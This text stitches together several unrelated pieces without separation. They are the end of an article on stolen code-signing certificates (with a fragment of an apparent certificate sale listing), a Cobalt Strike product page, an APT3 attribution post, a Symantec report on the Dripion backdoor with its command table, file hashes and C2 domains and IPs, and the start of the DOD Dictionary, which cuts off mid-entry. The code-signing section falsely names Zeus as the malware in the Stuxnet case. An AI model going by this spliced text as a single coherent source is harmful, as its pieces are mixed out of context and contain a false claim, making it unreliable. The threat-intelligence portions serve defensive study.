- Status: Old - Term: until June 26, 2021 - Price: $2600 ## Conclusion Malware signed with stolen certificates has been consistently found. The reason the criminal ecosystem remains active today is the abundance of supply chains where hackers continuously bring legitimate companies’ certificates. It is difficult for general companies to cope with malicious code signed with legitimate companies' certificates. Therefore, the most fundamental solution is to raise security awareness among companies and developers regarding the management of code signing certificate servers. ## References to Past Cases Related to Code Signing Certificates **Case 1: Private-Key Stolen** Stealing the private key of a normal software developer, signing the malicious code they developed, and disguising it as a legitimate program. - **Stuxnet malware incident** - Date of incident: January 2011 - Malware used: Trojan — Zeus - Incidents explained: Use of stolen digital signatures by Realtek Semiconductor Corp. based in Taiwan. **Case 2: Compromised Code Signing Process Server** Signing malicious codes of hackers by compromising the server that performs the code signing process. - **Adobe hacking incident** - Date of incident: September 2012 - Malware used: pwdump7 v 7.1, myGeeksmail.dll **Case 3: Direct Attack on Certificate Authority** Compromising the Certificate Authority (CA) that issues code signing certificates and manipulating them to issue code signing certificates for attackers. - **Comodo Certificate Authority (CA) breached case** - Date of incident: March 2011 ## References 1. Issued for Abuse: Measuring the Underground Trade in Code Signing Certificates 2. The Use of Counterfeit Code Signing Certificates Is on the Rise 3. Understanding Code Signing Abuse in Malware Campaigns 4. The Real Story of Stuxnet 5. Case study of Stuxnet 6. 악성코드를 유포시키기 위한 코드서명 해킹 3가지 유형 7. SONY PICTURES ENTERTAINMENT — EU Cyber Direct 8. Adobe Says Its Code Signing Infrastructure Has Been Hacked 9. The Scary and Terrible Code Signing Problem You Don’t Know You Have 10. Microsoft, FireEye confirm SolarWinds supply chain attack 11. Hackers are selling legitimate code-signing certificates to evade malware detection 12. Stuxnet: Zero victims 13. Stuxnet signed certificates frequently asked questions 14. Stuxnet and stolen certificates 15. VB2018 paper: Since the hacking of Sony Pictures 16. Stolen Sony certificates used to digitally sign Destover Malware 17. ‘Destover’ malware now digitally signed by Sony certificates 18. Comodo-Fraud-Incident-2011–03–23 19. SECURITY BREACH IN CA NETWORKS - COMODO, DIGINOTAR, GLOBALSIGN 20. All You Need to Know About the SolarWinds Attack 21. EP 3: DIGINOTAR, YOU ARE THE WEAKEST LINK, GOOD BYE!
# Software for Adversary Simulations and Red Team Operations Adversary Simulations and Red Team Operations are security assessments that replicate the tactics and techniques of an advanced adversary in a network. While penetration tests focus on unpatched vulnerabilities and misconfigurations, these assessments benefit security operations and incident response. ## Why Cobalt Strike? Cobalt Strike gives you a post-exploitation agent and covert channels to emulate a quiet long-term embedded actor in your customer’s network. Malleable C2 lets you change your network indicators to look like different malware each time. These tools complement Cobalt Strike’s solid social engineering process, its robust collaboration capability, and unique reports designed to aid blue team training. ## Getting Started New Cobalt Strike licenses cost $5,900 per user for a one year license. Cobalt Strike can also be bundled with Core Security’s penetration testing tool, Core Impact, for a reduced price. ## Training Resources Watch the Red Team Operations with Cobalt Strike course and review the documentation. ## About Cobalt Strike Raphael Mudge created Cobalt Strike in 2012 to enable threat-representative security tests. Cobalt Strike was one of the first public red team command and control frameworks. In 2020, HelpSystems acquired Cobalt Strike to add to its Core Security portfolio and pair with Core Impact. Today, Cobalt Strike is the go-to red team platform for many U.S. government, large business, and consulting organizations.
# Who is Mr Wu? In our last post, we introduced you to APT3 and promised to identify the individuals behind the intrusion. Today we will follow the trail left by APT3’s infrastructure procurers and will identify our first APT3 operator, Mr Wu. ## Mr Wu The trail starts in 2010, when FireEye researchers analyzing the Pirpi backdoor used by APT3 identified a sample that communicated with the domain twadcorp.com. WHOIS information from late 2009 for this domain gives a registrant name: “Mr Wu”. WHOIS data showing “Mr Wu” as registrant of twadcorp.com. Mr Wu is not a particularly unique name – in fact “Wu” is the 9th most common surname in China. But if we follow the trail ever further back in time we can also identify Mr Wu’s given name. ## From APT3 to mxmtmw To continue the investigation, we need to examine a second Pirpi sample, this time one that communicates with the domain grayflag.net. WHOIS information for the domain from 2009 gives the email address [email protected]. To confirm that we’re still on the trail of a Cyber actor, the e-mail address also appeared in an online advert in Chinese for Trojan development. Luckily for us, the string “mxmtmw” is fairly unique online and has also appeared elsewhere, including in a group called Ph4nt0m in 2008, a year before the Mr Wu registration entry for twadcorp.com above. In one of those posts, the mxmtmw string was used as the username of a poster, part of whose email address is visible in the archives as [email protected]. Continuing our journey back in time, a search on the wuyin partial email address reveals other posts related to the same partial address. In one posting from 2007, the poster used a username more helpful to our cause: “wuyingzhuo”. Might this be the same Mr Wu? ## From mxmtmw to wyz5678 Two further domain name records can be used to confirm Yingzhuo as Mr Wu’s given name. Returning to the mxmtmw e-mail address, it also briefly appeared in registration data in mid-2011 for the domain grayhat.cn. Another e-mail address that was associated with the same domain (it appeared both before and after mxmtmw in the data) is [email protected]. “wyz” possibly stands for “wuyingzhuo”, the name we found in Google Groups. The wyz5678 e-mail address also appears in registration information for another domain name: ciscocorp.com which may lead us to a possible location for APT3. ## Infrastructure in Guangdong, China DNS analysis of the ciscocorp domain shows that ssl3.ciscocorp.com previously resolved to IP address 59.42.254.195. That IP is owned by “guangdong guangxin tongxin fuwu you”, which translates into English as the “Guangdong Guanxin Communications Services Company”, a wireless telecommunications services company in Guangdong, China. This is possibly an ISP used by APT3 and may give some clue as to the location of the group. As shown above, similar sub-domains of two other domain names – httb.net and caelate.com – have also previously resolved to the same IP address. This is significant because the registered name in 2011 for both domains was “yingzhuo wu”. In summary, it is possible to follow domain name registration data from APT3 tools and domains to Wu Yingzhuo. Wu Yingzhuo might live or work in Guangdong, China, and has expressed an interest online in Trojan development. We intend to continue the trail from httb.net and to introduce you to a second member of APT3. Read our next post for more truth behind this intrusion.
# Taiwan Targeted with New Cyberespionage Back Door Trojan **March 28, 2016** **By: Jon DiMaggio, Symantec Employee** Backdoor.Dripion was custom developed, deployed in a highly targeted fashion, and used command and control servers disguised as antivirus company websites. In late August 2015, Symantec identified a previously unknown back door Trojan (Backdoor.Dripion) infecting organizations primarily located in Taiwan, as well as Brazil and the United States. Dripion is custom-built, designed to steal information, and has been used sparingly in a limited number of targeted attacks. The attackers behind this campaign went to some lengths to disguise their activities, including using domain names disguised as antivirus (AV) company websites for their command and control (C&C) servers. These attacks have some links to earlier attacks by a group called Budminer involving the Taidoor Trojan (Trojan.Taidoor). The threat posed by custom malware such as Dripion illustrates the value of multilayered security. Unknown threats may evade signature-based detection but can be blocked by other detection tools that identify malicious behavior. ## Background Our investigation began when we received three file hashes, which we determined to have the functionality of a back door with information-stealing capabilities. The malware appeared to be new, rarely detected, and not publicly available. As we analyzed the binary and compared it against other known back door Trojans, we realized this was custom-developed malware. Developing a back door with information-stealing capabilities designed to evade detection requires both knowledge and funding. Usually, when we see a new back door Trojan like this, it is tied to organizations involved in cyberespionage campaigns. ### Malware Downloader One of the first steps taken when investigating malware is to determine how it is getting onto a victim’s computer. Many publicly available downloaders exist; however, only a few unique downloaders have been used over the past few years that have been exclusive to cyberespionage activity. Since Dripion appeared to be used by a single attacker against a small target group, we wanted to determine if the downloader could provide additional evidence to help attribute the threat to any known threat groups. The downloader was identified as Downloader.Blugger (MD5: 260f19ef39d56373bb5590346d2c1811). It is not a new piece of malware, having been in existence since at least 2011. How the victim was infected with Blugger is currently unknown. Blugger used encryption to make its infrastructure and commands queried in the URL requests harder to detect. After decrypting, we identified the following URL requests: - http://classic-blog.[REDACTED DOMAIN 1].com/nasyzk/20002630 - http://nasyzk.[REDACTED DOMAIN 2].net/blog/post/251315428 Both of the domains we analyzed in the URLs requested by the downloader are publicly accessible blogs. The downloader contacts these blog URLs to retrieve Dripion for installation. The blog posts are primarily in English, yet most of the targets are based in Taiwan. It is unknown if the attacker created the blog or simply compromised another to use in their attacks. If the blog was compromised, then the attacker likely would not create posts themselves as it would show the blog’s creator that something was awry. If the blog was created by the attacker, it may be an attempt to develop a blog with topics that would likely be of interest to the intended target. Most of the blogs were related to news events. ### The Dripion Back Door Trojan Once Dripion is installed, the attacker can access the user’s computer. Dripion has the functionality of a back door Trojan, letting attackers upload, download, and steal predetermined information from the victim, and execute remote commands. Information such as the victim’s computer name and IP address are automatically transmitted to the C&C server upon the initial infection. | Command | Description | |--------------|-----------------------------------------------------------------------------| | GoSleep | Sleeps for 10 minutes | | GoKill | Attempts to delete itself and ends its activities | | GoBye | Disconnects from the computer | | nodata | Similar to GoBye | | Command | Execute command (lpCommandLine in CreateProcessA), redirect result through pipe to .tmp file and Download file | | UpFile | Write data in file on victim's computer | | DownFile | Write data to a remote open file (InternetWriteFile). The .tmp file used may be deleted after success operation. | | ExecuteFile | Create a new process (CreateProcessA) | Additionally, the developer of the Dripion malware used XOR encoding for both the binary configuration file (XOR: 0xA8) as well as network requests with the C&C server (XOR: 0xA3), to make detection more difficult. Dripion has been identified in multiple variations and has version numbers hardcoded within the malware. This indicates that the attackers have the ability to both create and develop their own custom malware as well as update their code to provide new capabilities and make detection more difficult. ### Ties to Previous Cyberespionage Activity The use of publicly accessible blogs to distribute malware is a tactic we have seen previously, but few cyberespionage groups have used this technique. Fewer still have used this strategy to deliver custom-developed malware not often seen in the wild. The first piece of evidence pointing towards a link with previous cyberespionage campaigns was the use of the Blugger downloader, which has only been used by a group Symantec calls Budminer. This group has used Blugger to distribute its own custom malware known as Taidoor (Trojan.Taidoor). Symantec has previously written about Budminer’s Taidoor campaigns. Significantly, this is the first time we have seen Blugger used to deliver malware other than Taidoor. Further investigation uncovered a second tie with earlier Budminer activity. One of the Blugger samples associated with Dripion connected with a root domain also used in Taidoor-related activity. Both of the URL queries originated from the Blugger downloader which connected to the blog classic-blog.[REDACTED DOMAIN 1].com. They then call out to subdomains of the domain [REDACTED DOMAIN 3].net. Both Dripion and Taidoor not only connected to the same website (classic-blog.[REDACTED DOMAIN 1].com) but also used the same URL (classic-blog.[REDACTED DOMAIN 1].com/nasyzk/[ENCODED TEXT]) to obtain the encrypted C&C configuration. ### Targeting Symantec first identified activity involving Dripion in September 2015. Based on the timestamp of the earliest known sample, however, Dripion may have been in existence since 2013. The Dripion activity that we have analyzed is extremely targeted and has involved far fewer victims compared to the number of users infected with Taidoor. The similarity between the two sets of activity is the number of unique file hashes found infecting users located in Taiwan. Unfortunately, we need more data to determine if the timestamps associated with Dripion dating back to November 2013 (7ad3b2b6eee18af6816b6f4f7f7f71a6) are legitimate or if they have been forged. The earliest known Dripion activity we were able to validate took place in November 2014. Despite the one-year gap in activity, it is possible that campaigns involving Dripion happened during this period and went undetected due to its small target window. Another interesting tactic used to deceive potential targets lies within the C&C infrastructure. The attackers created multiple domains with names similar to that of legitimate companies and websites in the antivirus community. For example, the domains hyydn.nortonsoft[.]com and mhysix.mcfeesoft[.]com were both C&C domains used in attacks. Using typo-squat domains to mimic legitimate sites is a tactic frequently used to trick the targets as well as defenders, in an effort to make the domains blend in with normal activity. ## Conclusion We began this investigation with what we believed was a new campaign using an unidentified back door Trojan against targets primarily in Taiwan. As the investigation grew, we found multiple ties between this newly discovered attack and activity associated with the Budminer cyberespionage group: - Same unique downloader (not publicly available and only seen used in China-based cyberespionage activity) - The unique downloader used by both Dripion and Taidoor encrypts data using the victim's MAC address as the RC4 key - Use of the same blogs for distribution of malware (Taidoor and Dripion) - Use of shared C&C infrastructure (at the root domain level) - Similar targeting (primary location of targets is Taiwan) We compared Dripion against Taidoor malware samples to determine if there was any shared code or if it may have originated from the same developer. Our findings concluded there were no similarities between the two malware families. However, the downloader used by both malware families has unique attributes, and we believe it to be from the same developer. Attribution of cyberespionage groups is difficult and needs to be done carefully based on fact and not assumptions. We have a number of ties between the two sets of activity. Not all of the ties are strong on their own, but together provide a strong case that there is a relationship between the groups targeting Taiwan using Dripion and Taidoor malware. Based on the evidence we have presented, Symantec attributed the activity involving the Dripion malware to the Budminer advanced threat group. While we have not seen new campaigns using Taidoor malware since 2014, we believe the Budminer group has changed tactics to avoid detection after being outed publicly in security white papers and blogs over the past few years. This investigation is just one example of Symantec’s ongoing effort to identify unknown emerging threats. By remaining one step ahead of adversaries, we can protect customers with intelligence-driven security. ## Mitigation Advice - Always keep your security software up to date to protect yourself against any new variants of this malware. - Keep your operating system and other software updated. Software updates will frequently include patches for newly discovered security vulnerabilities which are frequently exploited by attackers. - Delete any suspicious-looking emails you receive, especially if they contain links or attachments. Spear phishing emails are frequently used by cyberespionage attackers as a means of luring victims into opening malicious files. ## Protection Symantec and Norton products protect against these threats with the following detections: ### Indicators of Compromise **File hashes:** - 2dd931cf0950817d1bb567e12cf80ae7 - 3652075425b367d101a7d6b6ef558c6c - 59ff5624a02e98f60187add71bba3756 - 865d24324f1cac5aecc09bae6a9157f5 - eca0ef705d148ff105dbaf40ce9d1d5e - f4260ecd0395076439d8c0725ee0125f - 3652075425b367d101a7d6b6ef558c6c - 285de6e5d3ed8ca966430846888a56ff - 31f83a1e09062e8c4773a03d5993d870 - 4438921ea3d08d0c90f2f903556967e5 - 7ad3b2b6eee18af6816b6f4f7f7f71a6 - b594d53a0d19eaac113988bf238654d3 - c3e6ce287d12ac39ceb24e08dc63e3b5 - e0c6b7d9bdae838139caa3acce5c890d - e7205c0b80035b629d80b5e7aeff7b0e - c182e33cf7e85316e9dc0e13999db45e - 272ff690f6d27d2953fbadf75791274c - ae80f056b8c38873ab1251c454ed1fe9 - 260f19ef39d56373bb5590346d2c1811 - FE8D19E3435879E56F5189B37263AB06 - 68BEBCD9D2AD418332980A7DAB71BF79 - CBDE79B6BA782840DB4ACA46A5A63467 **Infrastructure:** - hyydn[.]nortonsoft.com - mhysix[.]mcfeesoft.com - gspt[.]dns1.us - unpt[.]defultname.com - 198.144.100.73 - 208.61.229.10 - 200.215.222.105 - 61.222.137.66 - 103.240.182.99 **Tags:** Products, Endpoint Protection, Security Response, APT, Backdoor.Dripion, Cyberespionage, Downloader.Blugger, Taiwan, targeted attacks, Trojan.Taidoor, United States
# DOD Dictionary of Military and Associated Terms ## PREFACE ### 1. Scope As directed in Joint Publication (JP) 1, Doctrine for the Armed Forces of the United States, the DOD Dictionary of Military and Associated Terms (DOD Dictionary) sets forth standard US military and associated terminology to encompass the joint activity of the Armed Forces of the United States. These military and associated terms, together with their definitions, constitute approved Department of Defense (DOD) terminology for general use by all DOD components. ### 2. Purpose This publication supplements standard English-language dictionaries and standardizes military and associated terminology to improve communication and mutual understanding within DOD with other US Government departments and agencies and among the United States and its allies. ### 3. Application This publication applies to the Office of the Secretary of Defense, the Services, the Joint Staff (JS), combatant commands, DOD agencies, and all other DOD components. It is the primary terminology source when preparing correspondence, to include policy, strategy, doctrine, and planning documents. Criteria for inclusion of terminology in the DOD Dictionary is enumerated in Department of Defense Instruction (DODI) 5025.12, Standardization of Military and Associated Terminology, and Chairman of the Joint Chiefs of Staff Instruction (CJCSI) 5705.01, Standardization of Military and Associated Terminology. ### 4. Format The primary parts of the DOD Dictionary are: - Explanatory notes. - Terms and definitions. - Shortened word forms (abbreviations, acronyms, and initialisms). - Summary of changes. ### 5. DOD Dictionary Online Availability and Update Schedule The DOD Dictionary is accessible online as a searchable database and in PDF format. The contents of the DOD Dictionary are updated as necessary to include terminology additions, modifications, or deletions made, in accordance with CJCSI 5705.01. ### 6. Terminology Repository for DOD (Office of the Secretary of Defense/Joint Staff) Issuances This publication is supplemented by the Terminology Repository for DOD (Office of the Secretary of Defense [OSD]/JS) Issuances (Terminology Repository) (For Official Use Only). Over the last 65 years, specific and technical DOD terms and definitions established in senior policy document glossaries reside outside of the DOD Dictionary and are not subject to joint doctrine terminology criteria for general and universal usage listed in CJCSI 5705.01. The 25,000+ policy term Terminology Repository provides awareness on those specific or descriptive terms in defense documents (policy, strategy, planning, doctrine, etc.) that support the foundation of the 2,500+ doctrine term DOD Dictionary. Its creation is the primary step in deconflicting terminology nuances within organizational documents that may impact joint doctrine. ### 7. Department of Defense Term and Definition Approach After consulting DODI 5025.12 and CJCSI 5705.01 for term and definition criteria, proponents of new or existing terms will first review the DOD Dictionary and then access the Terminology Repository before defaulting to commonly used, English-language dictionaries in creating new DOD terms and definitions. The repository is combined access card-enabled. ### 8. Revision and Distribution Future editions of the DOD Dictionary will be updated according to policy and posted online. For distribution, Joint Staff, J-7, does not print copies of the DOD Dictionary. Electronic versions are available on JEL+ [Joint Electronic Library Plus] and on the JEL [Joint Electronic Library]. ### 9. Citation Per JP 1, and for reference purposes in official DOD materials, this document will be listed as: Office of the Chairman of the Joint Chiefs of Staff, “DOD Dictionary of Military and Associated Terms,” as amended. For all other documentation, this will be cited as: Office of the Chairman of the Joint Chiefs of Staff, DOD Dictionary of Military and Associated Terms, (Washington DC: The Joint Staff, date), page # if necessary. ## TERMS AND DEFINITIONS ### A **acceptability** — The plan review criterion for assessing whether the contemplated course of action is proportional, worth the cost, consistent with the law of war, and is militarily and politically supportable. See also adequacy; feasibility. (JP 5-0) **access** — In counterintelligence and intelligence use, a. a way or means of approach to identify a target; or b. exploitable proximity to or ability to approach an individual, facility, or information that enables a target to carry out the intended mission. (JP 2-01.2) **accompanying supplies** — Unit supplies that deploy with forces. (JP 4-01.5) **accountability** — The obligation imposed by law or lawful order or regulation on an officer or other person for keeping accurate record of property, documents, or funds. (JP 1) **acoustic intelligence** — Intelligence derived from the collection and processing of acoustic phenomena. Also called ACINT. (JP 2-0) **acquisition and cross-servicing agreement** — Agreement, negotiated on a bilateral basis with countries or international organizations, that allows United States forces to exchange most common types of support, including food, fuel, transportation, ammunition, and equipment. Also called ACSA. See also cross-servicing. (JP 4-08) **action phase** — In amphibious operations, the period of time between the arrival of the landing forces of the amphibious force in the operational area and the accomplishment of their mission. See also amphibious force; amphibious operation; landing force; mission. (JP 3-02) **activation** — Order to active duty (other than for training) in the federal service. See also active duty; federal service. (JP 4-05) **active defense** — The employment of limited offensive action and counterattacks to deny a contested area or position to the enemy. See also passive defense. (JP 3-60) **active duty** — Full-time duty in the active military service of the United States, including active duty or full-time training duty in the Reserve Component. See also active duty for training; inactive duty training. (JP 4-05) **active duty for training** — A tour of active duty that is used for training members of the Reserve Component to provide trained units and qualified persons to fill the needs of the Armed Forces of the United States in time of war or national emergency and such other times as the national security requires. (JP 4-05) **Active Guard and Reserve** — National Guard and Reserve members who are on voluntary active duty providing full-time support to National Guard, Reserve, and Active Component organizations for the purpose of organizing, administering, recruiting, instructing, or training the Reserve Components. (CJCSM 3150.13) **activity** — 1. A unit, organization, or installation performing a function or mission. 2. A function, mission, action, or collection of actions. (JP 3-0) **activity-based intelligence** — An analytic method applied to structured data from multiple sources, to discover objects, relationships, or behaviors by resolving significant activity. Also called ABI. (JP 2-03) **act of mercy** — In personnel recovery, assistance rendered to evaders by an individual or elements of the local population who sympathize or empathize with the evaders’ cause or plight. See also evader; evasion; recovery; recovery operations. (JP 3-50) **acute radiation dose** — Total ionizing radiation dose received at one time and over a period so short that biological recovery cannot occur. (JP 3-11) **acute radiation syndrome** — An acute illness caused by irradiation of the body by a high dose of penetrating radiation in a very short period of time. Also called ARS. (JP 3-11) **Adaptive Planning and Execution** — A Department of Defense enterprise of joint policies, processes, procedures, and reporting structures, supported by communications and information technology, that is used by the joint planning and execution community to monitor, plan, and execute mobilization, deployment, employment, sustainment, redeployment, and demobilization activities associated with joint operations. Also called APEX. (JP 5-0) **adequacy** — The plan review criterion for assessing whether the scope and concept of planned operations can accomplish the assigned mission and comply with the planning guidance provided. See also acceptability; feasibility. (JP 5-0) **administrative contracting officer** — Contracting officer whose primary duties involve contract administration. Also called ACO. See also contracting officer; procuring contracting officer. (JP 4-10) **administrative control** — Direction or exercise of authority over subordinate or other organizations in respect to administration and support. Also called ADCON. (JP 1) **administrative loading** — A loading method that gives primary consideration to achieving maximum utilization of troop and cargo space without regard to tactical considerations. Also called commercial loading. (JP 3-02) **advanced force operations** — Operations conducted to refine the location of specific, identified targets and further develop the operational environment for near-term missions. Also called AFO. (JP 3-05) **advance guard** — Detachment sent ahead of the main force to ensure its uninterrupted advance; to protect the main body against surprise; to facilitate the advance by removing obstacles and repairing roads and bridges; and to cover the deployment of the main body if it is committed to action. (JP 3-07.2) **adversary** — A party acknowledged as potentially hostile to a friendly party and against which the use of force may be envisaged. (JP 3-0) **adversary template** — A model based on an adversary’s known or postulated preferred methods of operation illustrating the disposition and activity of adversary forces and assets conducting a particular operation unconstrained by the impact of the operational environment. (JP 2-01.3) **aerial port** — An airfield that has been designated for the sustained air movement of personnel and materiel as well as an authorized port for entrance into or departure from the country where located. See also port of debarkation; port of embarkation. (JP 3-17) **aeromedical evacuation** — The movement of patients under medical supervision to and between medical treatment facilities by air transportation. Also called AE. (JP 4-02) **aeromedical evacuation control team** — A core team assigned to a component-numbered air force air operations center air mobility division that provides operational planning, scheduling, and execution of theater aeromedical evacuation missions and positioning of aeromedical evacuation ground forces. Also called AECT. See also aeromedical evacuation; air mobility division. (JP 3-17) **aerospace defense** — Defensive measures designed to destroy or nullify attacking enemy aircraft and missiles and also negate hostile space systems. See also air defense; space defense. (JP 3-27) **afloat pre-positioning force** — Shipping maintained in full operational status to afloat pre-position military equipment and supplies in support of combatant commanders’ operation plans, consisting of the three maritime pre-positioning ships squadrons, the Army’s afloat pre-positioning stocks-3 ships, and the Defense Logistics Agency, and the Air Force ships. Also called APF. See also maritime pre-positioning ships. (JP 4-01.2) **afloat pre-positioning operations** — Pre-positioning of ships, preloaded with equipment and supplies that provides for an alternative to land-based programs. See also operation. (JP 4-01.6) **agency** — In intelligence usage, an organization or individual that collects and/or processes information. Also called collection agency. See also agent; intelligence process; source. (JP 2-01) **agent** — In intelligence usage, one who is authorized or instructed to obtain or to assist in obtaining information for intelligence or counterintelligence purposes. (JP 2-01.2) **aimpoint** — 1. A point associated with a target and assigned for a specific weapon impact. 2. A prominent radar-significant feature used to assist an aircrew in navigating and delivering their weapons. See also desired point of impact. (JP 3-60) **air and missile defense** — Direct [active and passive] defensive actions taken to destroy, nullify, or reduce the effectiveness of hostile air and ballistic missile threats against friendly forces and assets. Also called AMD. (JP 3-01) **air apportionment** — The determination and assignment of the total expected effort by percentage and/or by priority that should be devoted to the various air operations for a given period of time. (JP 3-0) **air assault** — The movement of friendly assault forces by rotary-wing or tiltrotor aircraft to engage and destroy enemy forces or to seize and hold key terrain. See also assault. (JP 3-18) **air assault force** — A force composed primarily of ground and rotary-wing air units organized, equipped, and trained for air assault operations. (JP 3-18) **air assault operation** — An operation in which assault forces, using the mobility of rotary-wing or tiltrotor aircraft and the total integration of available fires, maneuver under the control of a ground or air maneuver commander to engage enemy forces or to seize and hold key terrain. (JP 3-18) **airborne** — 1. In relation to personnel, troops especially trained to effect, following transport by air, an assault debarkation, either by parachuting or touchdown. 2. In relation to equipment, pieces of equipment that have been especially designed for use by airborne troops during or after an assault debarkation as well as some aeronautical equipment used to accomplish a particular mission. 3. When applied to materiel, items that form an integral part of the aircraft. 4. The state of an aircraft, from the instant it becomes entirely sustained by air until it ceases to be so sustained. (JP 3-17) **airborne alert** — A state of aircraft readiness wherein combat-equipped aircraft are airborne and ready for immediate action to reduce reaction time and to increase survivability. See also combat air patrol; ground alert. (JP 3-01) **airborne assault** — The use of airborne forces to parachute into an objective area to attack and eliminate armed resistance and secure designated objectives. (JP 3-18) **airborne early warning** — The detection of enemy air or surface units by radar or other equipment carried in an airborne vehicle, and the transmitting of a warning to friendly units. Also called AEW. (JP 3-52) **airborne mission coordinator** — The designated individual that serves as an airborne extension of the component commander or supported commander responsible for the personnel recovery mission. Also called AMC. See also combat search and rescue; personnel recovery coordination cell. (JP 3-50) **airborne operation** — An operation involving the air movement into an objective area of combat forces and their logistic support for execution of a tactical, operational, or strategic mission. See also assault; assault phase. (JP 3-18) **air-capable ship** — A ship other than an aircraft carrier, nuclear; amphibious assault ship (general purpose); or amphibious assault ship (multipurpose) from which aircraft can take off, be recovered, or routinely receive and transfer logistic support. Also called ACS. (JP 3-04) **air corridor** — A restricted air route of travel specified for use by friendly aircraft and established for the purpose of preventing friendly aircraft from being fired on by friendly forces. (JP 3-52) **aircraft carrier** — A warship designed to support and operate aircraft, engage in attacks on targets afloat or ashore, and engage in sustained operations in support of other forces. Also called CV or CVN. (JP 3-32) **air defense** — Defensive measures designed to destroy attacking enemy aircraft or aerodynamic missiles, or to nullify or reduce the effectiveness of such attack. Also called AD. See also aerospace defense. (JP 3-01) **air defense area** — 1. overseas — A specifically defined airspace for which air defense must be planned and provided. 2. United States — Airspace of defined dimensions designated by the appropriate agency within which the ready control of airborne vehicles is required in the interest of national security during an air defense emergency. (JP 3-01) **air defense artillery** — Weapons and equipment for actively combating air targets from the ground. Also called ADA. (JP 3-01) **air defense identification zone** — Airspace of defined dimensions within which the ready identification, location, and control of airborne vehicles are required. Also called ADIZ. (JP 3-52) **air defense region** — A geographical subdivision of an air defense area. (JP 3-01) **air defense sector** — A geographical subdivision of an air defense region. (JP 3-01) **air defense warning condition** — An air defense warning given in the form of a color code corresponding to the degree of air raid probability with yellow standing for when an attack by hostile aircraft or missiles is probable; red for when an attack by hostile aircraft or missiles is imminent or is in progress; and white for when an attack by hostile aircraft or missiles is improbable. Also called ADWC. (JP 3-01) **air domain** — The atmosphere, beginning at the Earth’s surface, extending to the altitude where its effects upon operations become negligible. (JP 3-30) **airdrop** — The unloading of personnel or materiel from aircraft in flight. See also air movement; free drop; free fall; high velocity drop; low velocity drop. (JP 3-17) **air expeditionary task force** — A deployed numbered air force or command echelon immediately subordinate to a numbered air force provided as the United States Air Force component command committed to a joint operation. Also called AETF. (JP 3-30) **airfield** — An area prepared for the accommodation (including any buildings, installations, and equipment), landing, and takeoff of aircraft. See also departure airfield; landing area; landing site. (JP 3-17) **Air Force special operations air component** — The Air Force component of a joint special operations force, normally composed of a special operations wing, special operations group, or squadron, and element of an Air Force special tactics personnel. Also called AFSOAC. (JP 3-05) **Air Force special operations air detachment** — A squadron-size headquarters that could be a composite organization composed of different Air Force special operations assets, normally subordinate to an Air Force special operations air component, joint special operations air component, joint special operations task force, or a joint task force. Also called AFSOAD. (JP 3-05) **Air Force special operations forces** — Those Active and Reserve Component Air Force forces designated by the Secretary of Defense that are specifically organized, trained, and equipped to conduct and support special operations. Also called AFSOF. (JP 3-05) **airhead** — 1. A lodgment that, when seized and held, ensures the continuous air landing of troops and materiel and provides the maneuver space necessary for projected operations. (JP 3-18) 2. A designated location in an operational area used as a base for supply and evacuation by air. See also beachhead. (JP 3-17) **airhead line** — A line denoting the limits of the objective area for an airborne assault. See also airhead; assault phase; objective area. (JP 3-18) **air interdiction** — Air operations conducted to divert, disrupt, delay, or destroy the enemy’s military surface capabilities before it can be brought to bear effectively against friendly forces, or to otherwise achieve objectives that are conducted at such distances from friendly forces that detailed integration of each air mission with the fire and movement of friendly forces is not required. Also called AI. (JP 3-03) **airland** — Move by air and disembark, or unload, after the aircraft has landed or while an aircraft is hovering. See also air movement. (JP 3-17) **air land operation** — An operation involving movement by air with a designated destination for further ground deployment of units and personnel and/or further ground distribution of supplies. See also airland. (JP 3-17) **air liaison officer** — The senior tactical air control party member attached to a ground unit who functions as the primary advisor to the ground commander on air power. Also called ALO. (JP 3-09.3) **airlift capability** — The total capacity expressed in terms of number of passengers and/or weight/cubic displacement of cargo that can be carried at any one time to a given destination by available airlift. See also airlift requirement. (JP 3-17) **airlift control team** — A core team within the joint air operations center with intratheater airlift functional expertise to plan, coordinate, manage, and execute intratheater airlift operations in support of the joint force air component commander. Also called ALCT. See also air operations center; air mobility division; intratheater airlift. (JP 3-17) **airlift mission commander** — A commander designated when airlift aircraft are participating in airlift operations specified in the implementing directive. See also joint force air component commander. (JP 3-17) **airlift requirement** — The total number of passengers and/or weight/cubic displacement of cargo required to be carried by air for a specific task. See also airlift capability. (JP 3-17) **air mobility** — The rapid movement of personnel, materiel and forces to and from or within a theater by air. See also air refueling. (JP 3-17) **Air Mobility Command** — The Air Force component command of the United States Transportation Command. Also called AMC. (JP 3-17) **air mobility control team** — A core team within the joint air operations center that directs or redirects air mobility forces in response to requirements changes, higher priorities, or immediate execution requirements. Also called AMCT. See also air operations center; air mobility; air mobility division. (JP 3-17) **air mobility division** — Located in the joint air operations center to plan, coordinate, task, and execute the air mobility mission consisting of the air mobility control team, airlift control team, air refueling control team, and aeromedical evacuation control team. Also called AMD. See also air mobility; joint air operations center. (JP 3-17) **air mobility liaison officer** — A rated United States Air Force mobility air forces officer selected, trained, and equipped to assess, train, advise, and assist with mobility air forces and ground force integration for air movement and sustainment. Also called AMLO. (JP 3-17) **air movement** — Air transport of units, personnel, supplies, and equipment including airdrops and air landings. See also airdrop; airland. (JP 3-17) **air operations center** — The senior agency of the Air Force component commander that provides command and control of Air Force air and space operations and coordinates with other components and Services. Also called AOC. (JP 3-30) **air refueling** — The refueling of an aircraft in flight by another aircraft. Also called AR. (JP 3-17) **air refueling control team** — A core team within the joint air operations center that coordinates aerial refueling to support combat air operations or to support a strategic airbridge. Also called ARCT. See also air operations center; air mobility division; air refueling. (JP 3-17) **air route** — The navigable airspace between two points, identified to the extent necessary for the application of flight rules. (JP 3-52) **air sovereignty** — A nation’s inherent right to exercise absolute control and authority over the airspace above its territory. (JP 3-27) **airspace control** — Capabilities and procedures used to increase operational effectiveness by promoting the safe, efficient, and flexible use of airspace. (JP 3-52) **airspace control area** — Airspace that is laterally defined by the boundaries of the operational area and may be subdivided into sectors. (JP 3-01) **airspace control authority** — The commander designated to assume overall responsibility for the operation of the airspace control system in the airspace control area. Also called ACA. See also airspace control; airspace control area; airspace control system; control; operation. (JP 3-52) **airspace control order** — An order implementing the airspace control plan that provides the details of the approved requests for airspace coordinating measures. Also called ACO. (JP 3-52) **airspace control plan** — The document approved by the joint force commander that provides specific planning guidance and procedures for the airspace control system for the joint force operational area. Also called ACP. See also airspace control system; joint force commander. (JP 3-52) **airspace control procedures** — Rules, mechanisms, and directions that facilitate the control and use of airspace of specified dimensions. See also airspace control authority; airspace control order; airspace control plan. (JP 3-52) **airspace control system** — An 